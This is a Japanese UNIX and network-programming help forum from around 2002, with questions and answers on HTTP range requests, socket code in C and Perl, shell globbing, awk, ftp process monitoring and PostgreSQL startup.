はじめまして HTTPプロトコルを利用したファイル転送について教えて下さい。 私はグラフィックデザインに関わっているので、インターネットを介して 画像や映像など比較的大きなデータを日常的にやり取りしています。 今は、ICQやMSNメッセンジャーのファイル転送を利用しているのですが 相手のファイアーウォールやルーターの設定から接続出来ない事もあります。 また接続が切れてしまった場合、続きから再開できるレジューム機能についても解説して戴けないでしょうか? 宜しくお願いします。 |
|
はじめまして。石田と申します。 ★件名★「UNIXの部屋」公開ありがとうございます。 *現在、私はlinux(Unix)のシェルプログラミングを勉強中です。 *ところが、manコマンドでは全然分からないので、 GoogleやMLアーカイブ検索して調べていましたが、 *こちらのUNIXの部屋は非常に分かりやすく参考になります。 *分かりやすいポイントは、 1)パラメータの意味が日本語で分かりやすく書いてある 2)具体例がメッセージなど併せて書いてある。 ところが非常に分かりやすいです。 *私が今作っているスクリプトは 1)redhatのupdateのFTPサイトと自分のpcの rpmパッケージリストを持って来て、マッチングして、 2)不足分のファイル一覧を作成 この中から必要なファイルをFTPでダウンロード *とにかく、パッケージのアップデートは手間がかかるので、 なるべく自動化しようと思っています。 * これからも「UNIXの部屋」がんばってください。 |
|
>>2699 KL > よく拝見すると"Perl"とは入ってないですね 笑 もちろん Perl は UNIX であります (^^ >>2700 パルテノ > 続きから再開できるレジューム機能 HTTP にはレジュームのような高級な機能はありません。二回目以降の 接続時に、単にデータの開始バイトを指定しているだけです。 接続が切れた場合は、ローカルに落したファイルサイズを見て、 たとえば 1000バイトまでダウンロードできているなら GET / HTTP/1.0 Range: bytes=1000- とします (ファイル先頭は 0 バイト目)。 http://www.studyinghttp.net/rfc_ja/2616/sec14.html#sec14.35 >>2701 石田安弘 > *こちらのUNIXの部屋は非常に分かりやすく参考になります。 ありがとうございます。改善点などありましたら指摘して下さい。 |
|
はじめまして、くろうです C言語初心者がいきなりソケットプログラムを作っているのですが どんな本を見ても、いまいちわからないことがあるので質問します。 UNIXで最大1Mハ゛イトの可変ファイルをソケットで受信しているのですが ソケットで受信する時、recvのバッファーのサイズはどのくらいとるのが適正値なのでしょう。 char buf[4096]; rtncd = recv(sockid,buf,sizeof(buf),0); 受信したテ゛ータは連結編集してます。 よろしくおねがいします。 |
|
>>2703 くろう 100 バイト単位で値を変えて、転送速度を計りましょう。 それが面倒なら 4096 でいいんじゃないでしょうか。 # 僕は面倒なので 4096。 |
|
皆さんはじめまして。ゆくまといいます。 いつも「UNIXの部屋」を活用させて頂いております。 現在、UNIXの*について調べているのですが、 もしご存知の方がいらっしゃったら教えていただけますでしょうか? たとえば、 >ls file01.dat file02.dat >cat * としたとき、catの表示順は必ず、 file01.dat の次に file02.dat である(つまりソート順)、と決まっているのでしょうか? もしくは不定なのでしょうか。 よろしくお願いいたします。 |
|
>>2705 ゆくま > file01.dat の次に file02.dat である(つまりソート順)、 > と決まっているのでしょうか? はい、ソートされます。sh・csh・tcsh・bash・zsh・ksh など全てのシェルでソートされるはずです。 ただし cat *2* *1* だと file02.dat file01.dat の 順になります。 |
|
>>2706 68user レスありがとうございます。 これってやはり考えるまでも無い当たり前のことなんですかね。 これまで何年かUNIXを使ってきて、そうだとは思っていた のですが、改めて調べてみたところ、そのことを明記している ようなドキュメントを見つけることができなかったのです。 おそらく何らかのパブリックなドキュメントには明記してある ことだとは思うのですが。。。 ご存知の方はいらっしゃいますでしょうか? |
|
>2707 > おそらく何らかのパブリックなドキュメントには明記してある > ことだとは思うのですが。。。 手元にあるマニュアルを調べてみました。 FreeBSD 4.5-RELEASE の tcsh(1) ファイル名置換 単語が `*', `?', `[', `{' のいずれかの文字を含む場合、また は 先頭が `~' で始まる場合、その単語はファイル名置換 (ある いはグロブ (globbing) と呼ばれます) の候補になります。この ような単語をパターン (グロブパターン) と見なし、そのパター ンにマッチするファイル名のリストをアルファベット順で整列し たもので置き換えます。 FreeBSD 4.5-RELEASE の csh(1) ・・・発見できず Solaris2.6 の sh(1) [ファイル名の生成] コマンド実行に先立ち、各コマンドワードは、 *、?、および [ を 含んでいないかチェックされます。これらの文字のいずれかがある と、そのワードはパターンとみなされます。このワードは、パター ンと一致する、辞書編集方式の順にソートされたファイル名に置換 されます。 Solaris2.6 の csh(1) ・・・発見できず bash-2.0.5a Pathname Expansion After word splitting, unless the -f option has been set, bash scans each word for the characters *, ?, and [. If one of these characters appears, then the word is regarded as a pattern, and replaced with an alphabetically sorted list of file names matching the pattern. |
|
>>2708 68user > FreeBSD 4.5-RELEASE の csh(1) ・・・発見できず FreeBSD 4.5-RELEASE の sh(1) ・・・発見できず の間違いです。 |
|
>2708 >手元にあるマニュアルを調べてみました。 わざわざありがとうございます。 なるほど!灯台下暗しでした(申し訳有りません、、、)。 ちなみにこちらの手元も調べてみましたところ、 Solaris7 のcsh(1) [ファイル名置換] *、?、[、または { のうちのいずれかの文字を含むクォートされ てい な い ワード、または ~ で始まるワードは、以下のように アルファベット順にソートされたファイル名のリストに展開 (グ ロビングとも呼ばれる) されます。 とありました。 お手数をおかけしました。 助かりました! |
|
>2710 追記です。 当方のSolaris2.6のcsh(1)にもSolaris7と同じ表記が見つかりました。 ということは、68userさんの環境と異なるのでしょうか? |
|
HP-UXのawkコマンドのパターン指定ではシェル変数は使えないのでしょうか?下記のような条件で、いろいろ形を変えて試して見たのですがまったくうまくいきません。分かる方教えてください。 例:awk '$1<=${hensuu}{print $0}' file.txt ※${hensuu}=1,2,3,4,5・・・・・・ |
|
>>2711 ゆくま > 当方のSolaris2.6のcsh(1)にもSolaris7と同じ表記が見つかりました。 こちらの Solaris2.6 にも同じ記述がありました。流し読みしたので 見逃していたようです。 >>2712 G シェル変数は、シェルのための変数であって、シェル以外からはどうやっても 参照できません。よって、 % env MAX=123 awk '$1<=ENVIRON["MAX"]{print $0}' file.txt などと環境変数を使うか、 % awk -v max=123 '$1<=max {print $0}' file.txt で変数を指定しましょう。 |
|
>>2713 68user ありがとうございました。教えていただいたコマンドで上手くいきました。 |
|
こんにちは、時々見させてもらってます PerlでIO::Socketを使っているのですが、 HTTPのPersistent connectionの様な、「サーバーから一旦データが 送られてきた後のコネクションは維持しつつも無通信な状態」 といった状態をプログラム側で判別できずに困ってます この間にsysreadなどを使うとデータが送られてこないためずっと 待ってしまいますので… IO:Selectのcan_read($timeout)も試してみたのですが、 この様な状態ではしっかりとソケット識別子を返してしまう みたいで結果としてsysreadの所に行ってしまってそこで止まってしまう 様な感じでした。 何か良い知恵はないでしょうか?? まあHTTPならcontent-lengthを見て1オブジェクトの受信の終わりを判別すれば良いんでしょうけど… |
|
>>2715 STP > この様な状態ではしっかりとソケット識別子を返してしまうみたいで ということはないと思いますが、問題が発生する最小限の プログラムを見せていただければ何かわかるかもしれません。 # あと、OS や perl のバージョンなども。 |
|
こんにちは、時々見させてもらってます。 PerlでHTTPSクライアントを作成したいのですが サンプルありますでしょうか |
|
>>2717 よー LWP? |
|
>>2717 よー 何をどう書いたのか全く覚えていませんが、LWP と Crypt-SSLeay で できるようです。 >>1848 d-jiro >>1849 68user >>1854 d-jiro >>1855 68user |
|
Socketを用いたPerlでHTTPSクライアントのサンプルは ありませんか? |
|
>>2720 よー http://www.thomas-fahle.de/pub/perl/LWP/HTTP/HTTP_Get.html#https |
|
68userさん,こんにちは. 失礼ながらご連絡事項をこちらでお伝えします. このサーバーがポートスキャンの踏み台にされたそうです. カーネルも古いし本格的な対策は無理だと思いますが そちらでできる対策があれば試していただけませんか. > 早速ですが、サンライズシステムズ 様の配下にある > 210.249.139.22 というホストから > ポートスキャンが行われた模様との連絡が入りました。 連絡経路はTTCNパワードコムの鎌田さん->両毛の新堀さん->私の順です. |
|
実は5/30に胆嚢摘出の手術を受けまして,入院中なのです. 動くに動けない感じで,今も看護婦の目を盗んで携帯でつないでいます. 何かありましたらお気軽にメールください. |
|
>>2722 Netboy 現在対応中です。ひととおり終わりましたら作業項目を書き 込みます (メールの方がよろしければメールします)。 > 実は5/30に胆嚢摘出の手術を受けまして,入院中なのです. 大変ですね。御大事に…。 |
|
>>2722 Netboy メール送りました。 |
|
ただ今再起動しました |
|
利用者の方へ。 サーバを置いてあるところの管理者の方が、2002/06/02 にマシンの 電源を落とされたため、しばらくアクセスできない状態になっていました。 |
|
PerlでのFTP接続を行いファイル転送をしたいのですがうまくいかず 困ってます。 $proto = getprotobyname('tcp'); $port = getservbyname('ftp', 'tcp'); $iaddr = inet_aton($hostname) or die "$hostnameのアドレス取得失敗"; $paddr = pack_sockaddr_in($port,$iaddr); socket(SOCKET,PF_INET,SOCK_STREAM,$proto) or die "socket失敗"; connect(SOCKET, $paddr) or die "connect失敗"; # ファイルハンドル COMMAND をバッファリングしない select(SOCKET); $|=1; select(STDOUT); #---------- ユーザ認証 ---------------------- print SOCKET "USER $username\r\n"; print SOCKET "PASS $password\r\n"; #------------------------------------------ と、ユーザー認証まではいけるでのすがその後で エラーとなってしまいます。 ちなみにユーザーとパスともにあっているはずなんですが・・・。 情報不足かと思いますが何か思い当たることがありましたら 指導のほどお願いいたします。 |
|
↓のNo.2728の件です。 接続まで何とかできたのですがファイルをアップロードしたいのですが どのようにすればいいのかわからなくて・・・。 教えていただけませんか?? |
|
>>2729 yun 2729 は 2728 の補足ですか? それとも 2728 の件は解決したのですか? エラーが出るのですか? やり方がわからなくて先に進めないのですか? |
|
接続後のPUTの仕方がわからないので先にすすめないんです。 ん〜情報が少なくて申し訳ないです。 何かわかることがありましたらお願いします。 |
|
いつも唐突な知るもんですいません。 「日本語情報処理」という本を読んでいたら、 EUC を内部コードとして使うコンピューター(?)か ソフトウェア(?)として 「焼き獣ホスト(YKH)」というのが出てきたんですが、 焼き獣ホストで Google しても見つかりません。 これ、何かご存知の方はいらっしゃいますか? |
|
>>2731 yun > 接続後のPUTの仕方がわからないので先にすすめないんです。 http://X68000.startshop.co.jp/~68user/net/ftp-1.html を読んでください。 >>2732 ふくし >「焼き獣ホスト(YKH)」 これですかね。端末エミュレータみたいですね。 http://www.geocities.com/Tokyo/Flats/7725/view_info.htm YKH is a small application of this kind, that emulates Japanese VT-320 terminal under MS-DOS and is freely distributed under the terms of the GNU general public licence |
|
はじめまして。リュウと申します。 初心者で申し訳ないのですが、質問があります。 HP9000にHP-UX11.0のコールドインストールをしているのですが、 毎回リブート後にメニューが出るようになってしまいました。 メニューを出さずに通常に内蔵ディスクから起動されるようにするには、 どのようにしたらいいでしょうか? あと、 Interact with IPL?> で、'Y'を押して IPL> から抜け出せなくなってしまいました。 exit,quitともダメです。。。 あわせてよろしくお願いします。 乱文で申し訳ございません。 |
|
ほんとに初心者です、おしえてください 課題でechoサーバ及び、クライアントのプログラムをC言語とPerlで作成する。というのがでたのですが、echoサーバはこのHPでプログラムが掲載してあるのでなんとか自分でやってみようと思うのですが、この場合のクライアントとはどのようなプログラムになるのでしょうか? よろしければおしえてください。 宜しくおねがいします。 |
|
もう一つ質問なのですが。 課題2 ・chargenサーバ及び、クライアントのプログラムをC言語とPerlで作成する。 フリーなUnix系OSで動作する事。 chargenサーバはデーモンとして動作する事。 chargenサーバは、標準telnetコマンドとも通信可能な事。 chargenサーバは、ログ機能を有する事。 chargenクライアントは通信先がchargenサーバと判明した時点で通信を終了させる 事。 という課題もでています。初心者の僕にはまったく課題の意味がわかりません。どなたかおしえてくれないでしょうか?たびたびすいません。宜しくお願いします。 |
|
>>2734 リュウ せっかく「Interact with IPL」というキーワードがわかっているのですから、 それで検索しましょう。ついでにキーワードに「HP-UX」も付けておきましょう。 そしたら一発でひっかかります。 http://www.google.com/search?hl=ja&q=Interact+with+IPL+HP-UX&lr=lang_ja >>2735 だいすけ > この場合のクライアントとはどのようなプログラムになるのでしょうか? http://X68000.startshop.co.jp/~68user/net/sample/http-client.pl をちょっといじれば、echo クライアントになります。 >>2736 だいすけ chargen については RFC864 をどうぞ。 http://www.goto.info.kanagawa-u.ac.jp/~horiyuki/rfc/rfc864j.txt その他の疑問点については、まず基本となる雛型を作ってみてから、ですね。 |
|
たびたびすいません。このような課題のクライアントのことなのですが? どのようなプログラムになるのでしょうか? echoサーバ及び、クライアントのプログラムをC言語とPerlで作成する。 フリーなUnix系OSで動作する事。 echoサーバはデーモンとして動作する事。 echoサーバは、標準telnetコマンドとも通信可能な事。 echoサーバは、ログ機能を有する事。 以上は必須機能です。 余裕があれば、 サーバには大文字、小文字変換機能をオプションで持たせる。 クライアントは文字列をファイルから読み取り、送信するオプションを付ける。 等、面白い機能を付加して下さい。 |
|
ほんとうに初心者なのでchargenについてはプログラムを書き始めることもできません。どうかたすけてください。 |
|
仕組みやプログラムを理解する手助けならできますが、答えをそのままあげる ことはできません (おもしろくないから)。 宿題スレなら、誰かがソースを書いてくれるかもしれません。 http://pc.2ch.net/test/read.cgi/tech/1020785918/l50 てゆーか、高専生か大学生かと思っていたんですが、社会人なのですか? 自分なりにある程度調べた上で、 「ここまでは理解できたけど、この部分がわからないから教えてくれ」 という質問の仕方を身につけた方がよいと思いますが、まぁいらぬお節介でしょうね。 |
|
はじめまして。 UNIXのftpコマンドについて、お聞きしたいことがあります。 ftpコマンドを使用して、WinNTサーバからUNIXへデータを getしているのですが、以下の事象が発生しています。 ・対象ファイルが0バイトの時、getコマンド終了後、そのまま ftpのプロセスがハングアップしてしまうことがある。 シェル内で以下のように使用しています。 ftp -n <<EOF open [IPアドレス] user [ユーザ名] [パスワード] binary get [getするファイル名] [保存するファイル名] close quit EOF 現象を見る限り、getコマンドまでは完了してるようです。 psコマンドにて、ftpのプロセスを検索すると、 ftp -n が残ってしまっています。 UNIX側からタイマーなどでftpのセッションを切ることは可能 なのでしょうか? |
|
>>2741 バクモン それって、要は ftp か ftpd のバグですよね。 ftp -n < input & pid=$! sleep 300 if [ `ps -p $!` ]; then kill $! fi 的な監視をするのが普通でしょうか。 |
|
>>2742 68user 早速のご回答、ありがとうございます。 確かにftpプロセスの監視しかないかな、と思います。 そこで、再度質問なんですが、このftpコマンドを使用している シェルがCシェルで書かれています(すいません、先に言って おくべきでした)。 Cシェルでは直前に実行したコマンドのプロセスIDを取得する 方法はあるのでしょうか? ($!はKシェル、Bシェルのみの文法と調べたら書いてありました) |
|
echoサーバの 3: #include <stdio.h> 4: #include <netdb.h> 5: #include <sys/types.h> 6: #include <sys/socket.h> 7: #include <sys/uio.h> 8: #include <unistd.h> 9: #include <sys/param.h> 10: #include <netinet/in.h> 11: #include <arpa/inet.h> この部分なのですが、#include <stdio.h>はわかるのですが、 他の物は参考書も見ても掲載されていません。 なんなのでしょうか? |
|
昨日から、UNIXを勉強しだしました。大変、初歩的な質問かもしれないのでごめんなさい。 アクセス状態が-rw-------のファイルをmoreで表示させたいのですが、私はファイルの所有者ではないので表示させることができません。chmodは使わないでアクセスを出来るようなのですが、どうすれば良いのですか? どなたか教えてください。よろしくお願いします。 |
|
>>2745 シゲ すみません。解決しました。 パスワードが解ればrootで入れるんですね。 |
|
>>2743 バクモン > Cシェルでは直前に実行したコマンドのプロセスIDを取得する > 方法はあるのでしょうか? $status です。 >>2744 だいすけ 例えば、関数 listen を使いたい場合は、man listen として、 include すべきファイルを調べます.同様に accept や bind など、 使用している関数全てについて調べていくと、それだけのファイルを include する必要がある、ということです。 |
|
ここのサイトのC言語のHTTPクライアントを使わせてもらって色々勉強させてもらってます。そこで質問なのですが、imodeのURL例えば(http://mobile.yahoo.co.jp/)のレスポンスが返ってくるプログラムを作ろうとしているのですが、どうも、302 FOUND がでてしまい、うまくいきません。どのように解決したらよいでしょうか? |
|
>>2748 木場 Locaiton: ヘッダに示されている URL を読み込めばよいです。 |
|
前回のことについての質問のつづきですが 僕のもっている参考書には掲載されてないのですが、 僕のもっている参考書が古いということでしょうか? |
|
>>2747 68user ご回答ありがとうございます。 ただ、$statusは直前のコマンドのリターン値がセットされる と認識しています。 Cシェルで直前のプロセスIDを取得するには、プロセスをバック グラウンドで動かすようにして、その際に標準出力されるプロセス IDをテキストファイルにおとして、grepなりをする方法しか ないかな、と考えています。 そこで、以下を考えました。 ftp -n <<EOF & open [IPアドレス] user [ユーザ名] [パスワード] binary get [getするファイル名] [保存するファイル名] close quit EOF これを実行すると [1] 10161 と言った形でプロセスIDが出力されます。 ただ、これをテキストファイルに落とす方法がわかりません。 多分、リダイレクトをするのだと思っているのですが、どこに それをうめこめばいいのでしょうか? |
|
それとも C言語で新しくできた関数なのでしょうか? |
|
>>2751 バクモン ああ、そういう意味ですか。 tcsh だと $! で取れますが、csh では無理かもしれないですね。 jobs -l だと取れそうですが、どうでしょうか。 ただ、僕なら監視用プロセスを別に起こします。 例えば、 mkdir /tmp/.ftp-lock ftp -n <<EOF open .. quit EOF rmdir /tmp/.ftp-lock として、監視プロセスは n 秒前より過去に /tmp/.ftp-lock が作成されて いたら、 kill `ps -ef | grep get-file.sh | grep -v grep' する、とか。 もちっと確実にするなら ln -s $$ /tmp/.ftp-pid ftp -n <<EOF open としてプロセス番号を特定できるようにする方法もあります ($$ は sh の プロセス番号なので、$$ の子プロセスを kill する必要がありますけど)。 >>2750 だいすけ 「何が」参考書に掲載されていないのですか? netdb.h? listen? accept? ここらへんの関数については規格化されていません。よって、UNIX では 使えても Windows では関数そのものがなかったりします。 例えば 「ANSI C マニュアル」 といった書名ならば、規格化された関数については網羅しているかもしれませんが、 規格外の関数については載っていなくても不思議ではありません。 |
|
5: #include <sys/types.h> 6: #include <sys/socket.h> 7: #include <sys/uio.h> 8: #include <unistd.h> 9: #include <sys/param.h> 10: #include <netinet/in.h> 11: #include <arpa/inet.h これらが参考書に掲載されてないという意味だったのですが manコマンドでしれべていくのですね。 どうもありがとうございます。 |
|
はじめまして。 まだ、UNIXをはじめたばかりの初心者です。 いま、windows環境のマシンからtera termを使ってUNIXマシンにpostgressqlをインストールしています。そこで、「カーネルのコンフィギュレショーションファイルをチェックする」と書かれているのですが、これってどうやるのですか? どなたか教えてください。 よろしくお願いします。 |
|
>>2755 ビギナー > 「カーネルのコンフィギュレショーションファイルを > チェックする」と書かれているのですが、これって > どうやるのですか? OS によって違います。 http://osb.sra.co.jp/PostgreSQL/Manual/PostgreSQL-7.1-ja/kernel-resources.html をどうぞ。 |
|
>>2756 68user ありがとうございます。 |
|
ご回答ありがとうございました。 今もちょっとわからないとこがあるのですが、 もうちょっと考えてわからなかったら、 聞きにきます。 |
|
再び質問です。 先ほどの質問と症状は似ているのですが、imodeのURLで(http://mobile.yahoo.co.jp/yahoo/index.html)のリクエストを出すと HTTP1.0 302 FOUND DATE Location http://mobile.yahoo.co.jp/error/404.html Conection: close のレスポンスが返ってきて、locationの部分を入れても実際のimodeのURLがゲットできなくて困っています。どのようにC言語のHTTPクライアント(1) のソースをいじればちゃんとしたレスポンスが得られるでしょうか? よろしくお願い致します。 |
|
初めまして黒木と申します。UNIX初心者です。 /usr/dict/words という辞書ファイルからEが2個以上出て、AとDとTがそれ ぞれ1個以上出て、最初がLで始まる単語が書かれてる行を見つけるには、 どういう1行コマンドを書けばよいでしょうか?よろしくお願いします。 (但し、文字は全て大文字・小文字を区別しない) *ファイルは何でも良いので、見つける方法が知りたいのです。 |
|
>>2759 きば > imodeのURLで(http://mobile.yahoo.co.jp/yahoo/index.html)の > リクエストを出すと ブラウザで http://mobile.yahoo.co.jp/yahoo/index.html を 見ると、404 not found になるので、 > Location http://mobile.yahoo.co.jp/error/404.html 当然そうなると思いますよ。 どこからこの URL が出てきたのでしょうか? >>2760 黒木 grep -i 'E.*E' /usr/dict/words | grep -i A | grep -i D | grep -i T | grep -i '^L' でどうでしょう。 |
|
すばやいレスありがとうございます。 http://mobile.yahoo.co.jp/yahoo/index.html ↑はimodeの使える携帯端末で見ることの出来るヤフーのカテゴリ検索のサイトです。 上記のURLのリクエストを送ったら携帯端末で見ることの出来るサイトをレスポンスしてくれるようにしたいのです。 imode専用のHTTPクライアントを68userさんのC言語のHTTPクライアント(1)を参考に作ろうと思っていて、とりあえず上記のURLで実験して作ろうと試みているのですが、なかなかうまくいかないので、68userさんの力をかして頂きたいと思う次第です。 |
|
>>2762 きば i-mode 端末のみで利用可能なページということですね? なら、 http://www.nttdocomo.co.jp/p_s/imode/tag/s2.html を参考にして、 GET /yahoo/index.html HTTP/1.0 User-Agent: DoCoMo/1.0/N209i などなど。 |
|
はい。imodeのみ利用可能なページです。 なるほど、、 urlをみてもうちょっとがんばってみます。 貴重なご意見ありがとうございます。 |
|
>>2761 68user 有難う御座いました。これで良いですね。 |
|
>>2753 68user ご回答ありがとうございます。 以下のようにロジックを変更しようかと思います。 ・ftpをバックグランドで動かす ・jobs -lの結果をテキストファイルに落とす ・5分sleepする(※1) ・grepとawkを使用して、テキストファイルからftpのプロセスIDを取得する ・ps -p にて取得したプロセスIDのプロセス生存を確認 ・ps -p のリターンコードが0以外であればkillするif文をおこなう(※2) こんな感じかな、と考えています。 怖い部分は※1,2です。 ※1:とりあえずユーザさんには現在の環境でgetが3分を越えることは ないといわれているので、安全を見て5分sleepさせるようにしたが 本当に大丈夫か? >>ユーザさんがOKと言っているので、問題なし・・・かな。 ※2:ps -p [プロセスID]でHITしなかった場合、リターンコードは必ず 0以外となる。逆にHITした場合は、必ず0となる。 >>このハンドリングは正しいのか、ちょっと自信なし。 色々とご回答ありがとうございました。 |
|
はじめまして。 私は、最近linuxを使い出した初心者です。 最近、仕事でpostgresqlをインストールしました。 インストールには成功したようなのですが、 $ pg_ctl startで起動をするとpostgresql(postmaster?)は起動します。 しかし $ postmasterでは、 DEBUG ... DEBUG ... DEBUG ... DEBUG ... と出力され、その後エラーメッセージも何も出なくて、反応が無くなってしまいます。(いつも、ctrl+cで抜けています) どうしてでしょうか? どなたかご存知の方、ご教授ください。 |
|
書き忘れていました。 バージョン:postgresql-7.11 環境:open blocksというlinuxマシンです。 (redhatでも同様でした) |
|
>>2767 ユウ > $ postmasterでは、 引数なしで実行したのですか? データベースクラスタの場所はどうやって 指定しているのですか? 環境変数 PGDATA? > DEBUG ... この ... というのは省略したのですか? 本当に ... と表示されたのですか? > その後エラーメッセージも何も出なくて、反応が無くなってしまいます。 それはフォアグラウンドで起動しているだけで、正常起動じゃないんでしょうか? http://osb.sra.co.jp/PostgreSQL/Manual/PostgreSQL-7.1-ja/postmaster-start.html > サーバを起動する一番簡単な方法例は、 > postmaster -D /usr/local/pgsql/data > となり、サーバをフォアグラウンドで走らせます。 > バックグランドでpostmasterを起動する には通常のシェルの構文を使います。 また、 % sh -x pg_ctl start として、pg_ctl 内で実行される postmaster の引数を確認するのも よいでしょう。 >>2766 バクモン > ※2:ps -p [プロセスID]でHITしなかった場合、リターンコードは必ず > 0以外となる。逆にHITした場合は、必ず0となる。 > >>このハンドリングは正しいのか、ちょっと自信なし。 問題ないと思いますが、それでも心配なら % ps -p [pid] | grep スクリプト名 などなど。 |
|
はじめまして。 ネットワークプログラミングの知識を参考にさせてもらっています。 で、ひとつ作りたいプログラムがあって質問させてください。 現在PERLを利用して、TERATERMのマクロのようにプログラムの出力結果を分析して、 次のバッチの投入のような監視?ツールを作りたいと思っています。 で、ソケットをつかってポート23にアクセスしに行くのですが、 固まってしまいます。ポート80や110にはここのサイトの見本をまねて アクセスすることは出来るのですが・・・。 shでやるというのも考えられるのですが、suではパスワードを聞いてきますし、 別のアプリ実行しても制御が完全にアプリ側に移るんで無理ですよね? ポート23にアクセスして結果をやり取りするにはどうしたらよいのでしょうか? どなたかお分かりでしたらヒントをお願いします。 |
|
>>2769 68user お返事ありがとうございます。 質問の書き方が下手で、申し訳がありません。 PGDATA=/usr/local/pgsql/dataを設定していて $ postmaster は引数なしで実行しています。(pg_ctl startもそうです) DEBUG...はDEBUGのあとの出力を省略させていただきました。 UNIXに関しても、パソコンに関しても本当に初心者で、何がどうなってるのかわからない状態なのですが、長くなりますが詳しく書かせていただきます。 $pg_ctl startを実行すると postmaster successfully started と出力されたあとに DEBUG...(省略しています)と5行でて、そこでreturnキーを押下すると [postgres@AAAServer postgres]$ と次のコマンド入力が可能になります。 しかし $ postmasterを実行しても postmaster successfully started というメッセージは出ないで、 DEBUG...(省略しています)と5行でてreturnキーを押下しても [postgres@AAAServer postgres]$ とはならず、改行されるだけです。 (以上は、openblocks,redhat両方共の環境です) いろいろ試してみると、 redhat環境では、/usr/local/pgsql/data/postgresql.confに silent_mode = on tcpip_socket = on syslog = 2 と追記して $ postmasterを実行すると DEBUG...(省略します)とは出力されないで、 [postgres@AAAServer postgres]$ となり、postgresqlは起動しました。 そこで、openblocksでpostgres.confを上記のように変更して $ postmasterを実行しました。すると FATAL 1: 'silent' is not valid option name とエラーが帰ってきました。 $pg_ctl startで実行した結果も、 postmaster successfully started と出力された後に、同様のエラーが帰ってきました。 (postgres.confの変更内容のsilentをコメント化したらsilentの下に追記した、tcpip_socketで同様のエラーが起きます。) 申し訳がありませんが、ご教授ください。 |
|
お返事ありがとうございます。 質問の書き方が下手で、申し訳がありません。 PGDATA=/usr/local/pgsql/dataを設定していて $ postmaster は引数なしで実行しています。(pg_ctl startもそうです) DEBUG...はDEBUGのあとの出力を省略させていただきました。 UNIXに関しても、パソコンに関しても本当に初心者で、何がどうなってるのかわからない状態なのですが、長くなりますが詳しく書かせていただきます。 $pg_ctl startを実行すると postmaster successfully started と出力されたあとに DEBUG...(省略しています)と5行でて、そこでreturnキーを押下すると [postgres@AAAServer postgres]$ と次のコマンド入力が可能になります。 しかし $ postmasterを実行しても postmaster successfully started というメッセージは出ないで、 DEBUG...(省略しています)と5行でてreturnキーを押下しても [postgres@AAAServer postgres]$ とはならず、改行されるだけです。 (以上は、openblocks,redhat両方共の環境です) いろいろ試してみると、 redhat環境では、/usr/local/pgsql/data/postgresql.confに silent_mode = on tcpip_socket = on syslog = 2 と追記して $ postmasterを実行すると DEBUG...(省略します)とは出力されないで、 [postgres@AAAServer postgres]$ となり、postgresqlは起動しました。 そこで、openblocksでpostgres.confを上記のように変更して $ postmasterを実行しました。すると FATAL 1: 'silent' is not valid option name とエラーが帰ってきました。 $pg_ctl startで実行した結果も、 postmaster successfully started と出力された後に、同様のエラーが帰ってきました。 (postgres.confの変更内容のsilentをコメント化したらsilentの下に追記した、tcpip_socketで同様のエラーが起きます。) 申し訳がありませんが、ご教授ください。 |
|
>>2770 せと > で、ソケットをつかってポート23にアクセスしに行くのですが、 > 固まってしまいます。 要は telnet クライアントを作りたいと。 接続後、telnet プロトコルに従ってネゴシエーションをする 必要があります。詳細は http://www.faqs.org/rfcs/rfc318.html perl のモジュールを使うなら Net::Telnet がよいでしょう。 ただし、telnet クライアントができても、文字の送信/文字の 受信が可能になるだけです。エラー発生の判断などはやはり プログラム側で行わなくてはいけません。 というわけで、素直に > プログラムの出力結果を分析して、次のバッチの投入のような監視?ツール を行うスクリプトを作った方がよいでしょう。 > suではパスワードを聞いてきますし、 > 別のアプリ実行しても制御が完全にアプリ側に移るんで無理ですよね? 危惧しておられることがよくわからないのですが、普通はスクリプトなどを 書けば実現可能です。 >>2772 ユウ > $ postmasterを実行しても > postmaster successfully started > というメッセージは出ないで、 > DEBUG...(省略しています)と5行でてreturnキーを押下しても > [postgres@AAAServer postgres]$ > とはならず、改行されるだけです。 それはそれで正常です。キーの入力をそのアプリが奪うような状況を 「フォアグラウンドで動作している」と言います。逆に、アプリが 裏で動いているような状況を「バックグラウンドで動作している」 と言います。 http://osb.sra.co.jp/PostgreSQL/Manual/PostgreSQL-7.1-ja/postmaster-start.html にある通り、postmaster を実行すると、単にフォアグラウンドで 動くという仕様になっているだけです。postmaster を実行した後、 別ウィンドウで psql を実行すると、ちゃんと接続できるはずです。 > $ postmasterを実行しても > postmaster successfully started > というメッセージは出ないで、 postmaster successfully started という文字列を表示をしているのは pg_ctl だからです。 postmaster をバックグラウンドで動かすには、 - postmaster & として起動する。 - postgresql.conf を修正して silent_mode=true とする。 - postmaster -S とする。 - postmaster -c silent_mode=true とする。 などの方法があります (true と on は同じ)。全てマニュアル http://osb.sra.co.jp/PostgreSQL/Manual/PostgreSQL-7.1-ja/runtime-config.html に書いてあります。 > FATAL 1: 'silent' is not valid option name 'silent_mode' is ... ならわかりますが、`silent' is ... となるということは、 postgresql.conf に silent=true などと書いていませんか? > tcpip_socketで同様のエラーが起きます。 ということは、その上にある行がおかしい可能性もあります。 とにかく、まずは postgresql.conf への追加時に修正ミスをしていないかを 疑うべきでしょう。 あとは、OpenBlockS にインストールされている PostgreSQL のバージョンと RedHat にインストールされている PostgreSQL のバージョンが違うとか。 |
|
>>2773 68user ご指摘の通りでした。 silent_mode,tcpip_socketにのエラーは直りましたが、syslogでエラーが出る状態です。なぜか解らないですけど、redhatで成功しているpostgresql.confをコピーしてきます。 ありがとうございました。 |
|
初めて投稿します。Solarisでハードウェアの診断をする機能があると聞きました。旧SUN OSでは、ダイアグというそうですが、オンボードやHDDの状態を診断して、異常個所をリストアップしてくれるような機能があれば、教えてちょんまげ!何卒よろしくお願いします。 |
|
echoサーバ(C言語)でのことですが #include <sys/uio.h> #include <unistd.h> #include <sys/param.h> #include <netinet/in.h> #include <arpa/inet.h> これらがなくても正常にコンパイルできるのですが、必要なのでしょうか? |
|
ご指摘の通りでした。 silent_mode,tcpip_socketにのエラーは直りましたが、syslogでエラーが出る状態です。なぜか解らないですけど、redhatで成功しているpostgresql.confをコピーしてきます。 ありがとうございました。 |
|
#2776 >これらがなくても正常にコンパイルできるのですが、必要なのでしょうか? windowsでならば必要ないと思います。 |
|
